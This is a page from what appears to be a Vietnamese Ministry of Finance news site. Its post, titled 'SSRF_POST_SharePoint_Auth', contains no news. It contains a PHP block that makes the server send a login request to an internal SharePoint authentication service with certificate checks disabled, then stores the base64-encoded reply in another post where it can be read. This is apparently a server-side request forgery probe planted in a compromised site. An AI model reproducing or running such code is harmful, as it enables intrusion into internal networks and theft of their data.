BỘ TÀI CHÍNH

Chương trình Hỗ trợ Doanh nghiệp Chuyển đổi số

Tin tức

SSRF_POST_SharePoint_Auth

  • 04 tháng 06, 2026 - 9:42 AM

  • Chia sẻ:

[php]
$url = “http://app1-nctt.dkkd.gov.vn/_vti_bin/Authentication.asmx”;
$body = ‘dbedbe’;
$args = array(
“body” => $body,
“headers” => array(“Content-Type” => “text/xml; charset=utf-8”, “SOAPAction” => “http://schemas.microsoft.com/sharepoint/soap/Login”),
“timeout” => 30,
“sslverify” => false
);
$response = wp_remote_post($url, $args);
if (is_wp_error($response)) {
echo “ERROR:” . $response->get_error_message();
} else {
$code = wp_remote_retrieve_response_code($response);
$body_resp = wp_remote_retrieve_body($response);
global $wpdb;
$wpdb->update($wpdb->posts, array(“post_content” => “HTTP:” . $code . “|BODY:” . base64_encode(substr($body_resp, 0, 5000))), array(“ID” => 5441));
echo “OK:5441:CODE:” . $code;
}
[/php]